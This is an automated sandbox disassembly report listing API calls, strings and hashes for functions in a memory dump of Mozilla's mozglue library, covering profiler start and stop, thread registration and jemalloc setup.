Part of subcall function 6C97AB89: EnterCriticalSection.KERNEL32(6C9CE370,?,?,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284), ref: 6C97AB94
Part of subcall function 6C97AB89: LeaveCriticalSection.KERNEL32(6C9CE370,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C97ABD1

free.MOZGLUE(?), ref: 6C9549C6
free.MOZGLUE(?), ref: 6C9549E9

Part of subcall function 6C965E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C965EDB
Part of subcall function 6C965E90: memset.VCRUNTIME140(6C9A7765,000000E5,55CCCCCC), ref: 6C965F27
Part of subcall function 6C965E90: LeaveCriticalSection.KERNEL32(?), ref: 6C965FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C954828
[I %d/%d] profiler_shutdown, xrefs: 6C954A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6C954A42
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9547FC
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C954812

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 098aa00d1bb978747ad24c5867f8768a51b141dd5fdc9a0001153a5026f4c391
Instruction ID: cb8d60e359f65d7b06cd9ed04dc716d97930ba0caac0c619c6ba0bcd2857985f
Opcode Fuzzy Hash: 098aa00d1bb978747ad24c5867f8768a51b141dd5fdc9a0001153a5026f4c391
Instruction Fuzzy Hash: 97813675A041008BEB80DF28C89875A3779BF5231CFA40229E91697F86D734EA74CF97

Function 6C954470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C954730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9544B2,6C9CE21C,6C9CF7F8), ref: 6C95473E
Part of subcall function 6C954730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C95474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9544BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9544D2
InitOnceExecuteOnce.KERNEL32(6C9CF80C,6C94F240,?,?), ref: 6C95451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C95455C
LoadLibraryW.KERNEL32(?), ref: 6C954592
InitializeCriticalSection.KERNEL32(6C9CF770), ref: 6C9545A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9545AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9545BB
InitOnceExecuteOnce.KERNEL32(6C9CF818,6C94F240,?,?), ref: 6C954612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C954636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C954644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C95466D
VerSetConditionMask.NTDLL ref: 6C95469F
VerSetConditionMask.NTDLL ref: 6C9546AB
VerSetConditionMask.NTDLL ref: 6C9546B2
VerSetConditionMask.NTDLL ref: 6C9546B9
VerSetConditionMask.NTDLL ref: 6C9546C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9546CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9546F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9546FD

Strings

NativeNtBlockSet_Write, xrefs: 6C9546F7
user32.dll, xrefs: 6C954557, 6C95463F
kernel32.dll, xrefs: 6C9544CD
l, xrefs: 6C954578
WRusr.dll, xrefs: 6C9544B5

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: bc19a37f7e746709e927fd69de2fedf2bec2cddf59eb146cb3d0f7a2ed7278b7
Instruction ID: cc22c0b40add039bd67d9154350f0506fc5f911e613f1ea9df1de7efa9f5113e
Opcode Fuzzy Hash: bc19a37f7e746709e927fd69de2fedf2bec2cddf59eb146cb3d0f7a2ed7278b7
Instruction Fuzzy Hash: EA6105B1708348AFEB10DF60CC49BA57BB8EB4670CFA48598E5059B681D770CA75CF92

Function 6C98E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C987090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C98B9F1,?), ref: 6C987107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C98DCF5), ref: 6C98E92D
GetCurrentThreadId.KERNEL32 ref: 6C98EA4F
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98EA5C
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98EA80
GetCurrentThreadId.KERNEL32 ref: 6C98EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C98DCF5), ref: 6C98EA92
GetCurrentThreadId.KERNEL32 ref: 6C98EB11
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C98EB3C
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98EB5B

Part of subcall function 6C985710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C98EB71), ref: 6C9857AB

Part of subcall function 6C97CBE8: GetCurrentProcess.KERNEL32(?,6C9431A7), ref: 6C97CBF1
Part of subcall function 6C97CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9431A7), ref: 6C97CBFA

Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C954A68), ref: 6C98945E
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C989470
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C989482
Part of subcall function 6C989420: __Init_thread_footer.LIBCMT ref: 6C98949F

GetCurrentThreadId.KERNEL32 ref: 6C98EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C98EBAC

Part of subcall function 6C9894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9894EE
Part of subcall function 6C9894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C989508

GetCurrentThreadId.KERNEL32 ref: 6C98EBC1
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8,?,?,00000000), ref: 6C98EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C98EBE5
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8,00000000), ref: 6C98EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C98EC46
CloseHandle.KERNEL32(?), ref: 6C98EC55
free.MOZGLUE(00000000), ref: 6C98EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6C98EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C98EA9B

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 49eaa04cc7a995a3faae61646a7d1b612ebf041f0891a2ec2b6349731aba854f
Instruction ID: 0c68f4cf0820b4340ffd14d2df7906c7bf8706e3bef68c1b1a0c2b676ad10621
Opcode Fuzzy Hash: 49eaa04cc7a995a3faae61646a7d1b612ebf041f0891a2ec2b6349731aba854f
Instruction Fuzzy Hash: FFA16735B056049FDB009F28C858BAA77B9FF9670CF244829E91A87F41DB75D904CBE2

Function 6C98F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C954A68), ref: 6C98945E
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C989470
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C989482
Part of subcall function 6C989420: __Init_thread_footer.LIBCMT ref: 6C98949F

GetCurrentThreadId.KERNEL32 ref: 6C98F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C98F8F9

Part of subcall function 6C956390: GetCurrentThreadId.KERNEL32 ref: 6C9563D0
Part of subcall function 6C956390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9563DF
Part of subcall function 6C956390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C95640E

ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98F93A
GetCurrentThreadId.KERNEL32 ref: 6C98F98A
GetCurrentThreadId.KERNEL32 ref: 6C98F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98F716

Part of subcall function 6C9894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9894EE
Part of subcall function 6C9894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C989508

Part of subcall function 6C94B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C94B5E0

GetCurrentThreadId.KERNEL32 ref: 6C98F739
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98F746
GetCurrentThreadId.KERNEL32 ref: 6C98F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9C385B,00000002,?,?,?,?,?), ref: 6C98F829
free.MOZGLUE(?,?,00000000,?), ref: 6C98F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C98F866
free.MOZGLUE(?), ref: 6C98FA0C

Part of subcall function 6C955E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9555E1), ref: 6C955E8C
Part of subcall function 6C955E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C955E9D
Part of subcall function 6C955E60: GetCurrentThreadId.KERNEL32 ref: 6C955EAB
Part of subcall function 6C955E60: GetCurrentThreadId.KERNEL32 ref: 6C955EB8
Part of subcall function 6C955E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C955ECF
Part of subcall function 6C955E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C955F27
Part of subcall function 6C955E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C955F47
Part of subcall function 6C955E60: GetCurrentProcess.KERNEL32 ref: 6C955F53
Part of subcall function 6C955E60: GetCurrentThread.KERNEL32 ref: 6C955F5C
Part of subcall function 6C955E60: GetCurrentProcess.KERNEL32 ref: 6C955F66
Part of subcall function 6C955E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C955F7E

free.MOZGLUE(?), ref: 6C98F9C5
free.MOZGLUE(?), ref: 6C98F9DA

Strings

" attempted to re-register as ", xrefs: 6C98F858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C98F9A6
Thread , xrefs: 6C98F789
[D %d/%d] profiler_register_thread(%s), xrefs: 6C98F71F

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 4ff49ee82bfc34342f99b23db51d957042ff1b087a676e9e49832ccc0b40a82f
Instruction ID: 7219185d852e2d525aff9c7fb2b22ebc783b34218a6ea094cbee3ea602618cc6
Opcode Fuzzy Hash: 4ff49ee82bfc34342f99b23db51d957042ff1b087a676e9e49832ccc0b40a82f
Instruction Fuzzy Hash: 1F8114716056009FDB10DF24C840BAEB7B5FFE5308F50496DE84A9BB51EB31D949CBA2

Function 6C98EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C954A68), ref: 6C98945E
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C989470
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C989482
Part of subcall function 6C989420: __Init_thread_footer.LIBCMT ref: 6C98949F

GetCurrentThreadId.KERNEL32 ref: 6C98EE60
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98EE6D
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C98EEA5
CloseHandle.KERNEL32(?), ref: 6C98EEB4
free.MOZGLUE(00000000), ref: 6C98EEBB
GetCurrentThreadId.KERNEL32 ref: 6C98EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98EECF

Part of subcall function 6C98DE60: GetCurrentThreadId.KERNEL32 ref: 6C98DE73
Part of subcall function 6C98DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C954A68), ref: 6C98DE7B
Part of subcall function 6C98DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C954A68), ref: 6C98DEB8
Part of subcall function 6C98DE60: free.MOZGLUE(00000000,?,6C954A68), ref: 6C98DEFE
Part of subcall function 6C98DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C98DF38

Part of subcall function 6C97CBE8: GetCurrentProcess.KERNEL32(?,6C9431A7), ref: 6C97CBF1
Part of subcall function 6C97CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9431A7), ref: 6C97CBFA

GetCurrentThreadId.KERNEL32 ref: 6C98EF1E
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98EF2B
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98EF59
GetCurrentThreadId.KERNEL32 ref: 6C98EFB0
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98EFBD
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8), ref: 6C98EFE1
GetCurrentThreadId.KERNEL32 ref: 6C98EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C98F000

Part of subcall function 6C9894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9894EE
Part of subcall function 6C9894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C989508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C98F02F

Part of subcall function 6C98F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C98F09B
Part of subcall function 6C98F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C98F0AC
Part of subcall function 6C98F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C98F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C98EED7
[I %d/%d] profiler_pause, xrefs: 6C98F008

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 6db06348e845651e031a4b589b869608a33dc92ddc15b6f3d0b221f4eaa499db
Instruction ID: 688e6c3a79d32dd2a9070e293794b28bec68e1339866080410cf0cae5a2bd2b0
Opcode Fuzzy Hash: 6db06348e845651e031a4b589b869608a33dc92ddc15b6f3d0b221f4eaa499db
Instruction Fuzzy Hash: 4451D13570A2109FEB005B64D41C7A577B8EB5631DF200955E91A83F81DB38CA04CBF7

Function 6C97D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9CE804), ref: 6C97D047
GetSystemInfo.KERNEL32(?), ref: 6C97D093
__Init_thread_footer.LIBCMT ref: 6C97D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9CE810,00000040), ref: 6C97D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9CE7B8,00001388), ref: 6C97D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9CE744,00001388), ref: 6C97D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9CE784,00001388), ref: 6C97D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9CE7DC,00001388), ref: 6C97D1B1

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C97D26D
: (malloc) Unsupported character in malloc options: ', xrefs: 6C97D322
<jemalloc>, xrefs: 6C97D268, 6C97D311
MALLOC_OPTIONS, xrefs: 6C97D0CB
MOZ_CRASH(), xrefs: 6C97D277

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 196d17c66e8bcf5222eae6f699f26932ee8c2cf315fcc8124e167fe58ec70d6f
Instruction ID: d4a5df08ba39555a8807409a07373f37eccbdf82860c1d538e77be05025a58f6
Opcode Fuzzy Hash: 196d17c66e8bcf5222eae6f699f26932ee8c2cf315fcc8124e167fe58ec70d6f
Instruction Fuzzy Hash: 29812A71B0A240DBEB24DF68C89676937B8FB56B04F700519E80297F80D775DA15CBE2

Function 6C955E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C955E9D

Part of subcall function 6C965B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9656EE,?,00000001), ref: 6C965B85
Part of subcall function 6C965B50: EnterCriticalSection.KERNEL32(6C9CF688,?,?,?,6C9656EE,?,00000001), ref: 6C965B90
Part of subcall function 6C965B50: LeaveCriticalSection.KERNEL32(6C9CF688,?,?,?,6C9656EE,?,00000001), ref: 6C965BD8
Part of subcall function 6C965B50: GetTickCount64.KERNEL32 ref: 6C965BE4

GetCurrentThreadId.KERNEL32 ref: 6C955EAB
GetCurrentThreadId.KERNEL32 ref: 6C955EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C955ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C956017

Part of subcall function 6C944310: moz_xmalloc.MOZGLUE(00000010,?,6C9442D2), ref: 6C94436A
Part of subcall function 6C944310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9442D2), ref: 6C944387

moz_xmalloc.MOZGLUE(00000004), ref: 6C955F47
GetCurrentProcess.KERNEL32 ref: 6C955F53
GetCurrentThread.KERNEL32 ref: 6C955F5C
GetCurrentProcess.KERNEL32 ref: 6C955F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C955F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C955F27

Part of subcall function 6C95CA10: mozalloc_abort.MOZGLUE(?), ref: 6C95CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9555E1), ref: 6C955E8C

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9555E1), ref: 6C95605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9555E1), ref: 6C9560CC

Strings

GeckoMain, xrefs: 6C955ECE, 6C956015

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: cfbdc728e87538a5d06211e8ce94624cd3ac389012c65b7f80856d6a7ff9a139
Instruction ID: 770a6e06456a101df9bb08e5a1ec626dc8946123f1164a6d27cc3ffa8a6d136a
Opcode Fuzzy Hash: cfbdc728e87538a5d06211e8ce94624cd3ac389012c65b7f80856d6a7ff9a139
Instruction Fuzzy Hash: BD71C4B0609740DFD710DF29C480A6ABBF4FF69308F54496DE88A87B52D731E958CB92

Function 6C959590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9431C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C943217
Part of subcall function 6C9431C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C943236
Part of subcall function 6C9431C0: FreeLibrary.KERNEL32 ref: 6C94324B
Part of subcall function 6C9431C0: __Init_thread_footer.LIBCMT ref: 6C943260
Part of subcall function 6C9431C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C94327F
Part of subcall function 6C9431C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C94328E
Part of subcall function 6C9431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9432AB
Part of subcall function 6C9431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9432D1
Part of subcall function 6C9431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9432E5
Part of subcall function 6C9431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9432F7

